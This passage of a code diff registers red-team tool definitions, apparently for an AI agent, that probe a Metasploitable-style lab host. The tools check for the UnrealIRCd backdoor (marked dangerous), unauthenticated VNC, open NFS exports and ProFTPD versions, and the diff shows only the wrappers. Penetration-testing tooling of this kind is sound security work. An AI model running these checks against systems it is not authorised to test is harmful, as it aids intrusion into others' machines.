+ "with a trojan; the classic Metasploitable keeps it on 6667."
841
+ ),
842
+ parameters={
843
+ "type": "object",
844
+ "properties": {
845
+ "host": {"type": "string"},
846
+ "port": {"type": "integer", "default": 6667},
847
+ },
848
+ "required": ["host"],
849
+ },
850
+ func=lambda host, port=6667: validate_unrealircd_backdoor(ctx, host, port),
851
+ scope="red",
852
+ dangerous=True,
853
+ parallel_safe=False,
854
+ ),
855
+ Tool(
856
+ name="validate_vnc_no_auth",
857
+ description=(
858
+ "Read the VNC RFB handshake to confirm an exposed, "
859
+ "unauthenticated VNC service. No session is opened."
860
+ ),
861
+ parameters={
862
+ "type": "object",
863
+ "properties": {
864
+ "host": {"type": "string"},
865
+ "port": {"type": "integer", "default": 5900},
866
+ },
867
+ "required": ["host"],
868
+ },
869
+ func=lambda host, port=5900: validate_vnc_no_auth(ctx, host, port),
870
+ scope="red",
871
+ ),
872
+ Tool(
873
+ name="validate_nfs_export",
874
+ description=(
875
+ "List the NFS exports with showmount. World-readable exports "
876
+ "are a direct data-disclosure path; the classic Metasploitable "
877
+ "exports / with no restrictions."
878
+ ),
879
+ parameters={
880
+ "type": "object",
881
+ "properties": {
882
+ "host": {"type": "string"},
883
+ "port": {"type": "integer", "default": 2049},
884
+ },
885
+ "required": ["host"],
886
+ },
887
+ func=lambda host, port=2049: validate_nfs_export(ctx, host, port),
888
+ scope="red",
889
+ ),
890
+ Tool(
891
+ name="validate_proftpd",
892
+ description=(
893
+ "Probe an FTP port for a ProFTPD service and report its "
894
+ "version. Use it on non-standard listeners too (2121 on "
895
+ "Metasploitable), which the standard sweep treats as noise."
896
+ ),
897
+ parameters={
898
+ "type": "object",
899
+ "properties": {
900
+ "host": {"type": "string"},
901
+ "port": {"type": "integer", "default": 21},
902
+ },
903
+ "required": ["host"],
904
+ },
905
+ func=lambda host, port=21: validate_proftpd(ctx, host, port),
906
+ scope="red",
907
+ ),
908
+ ]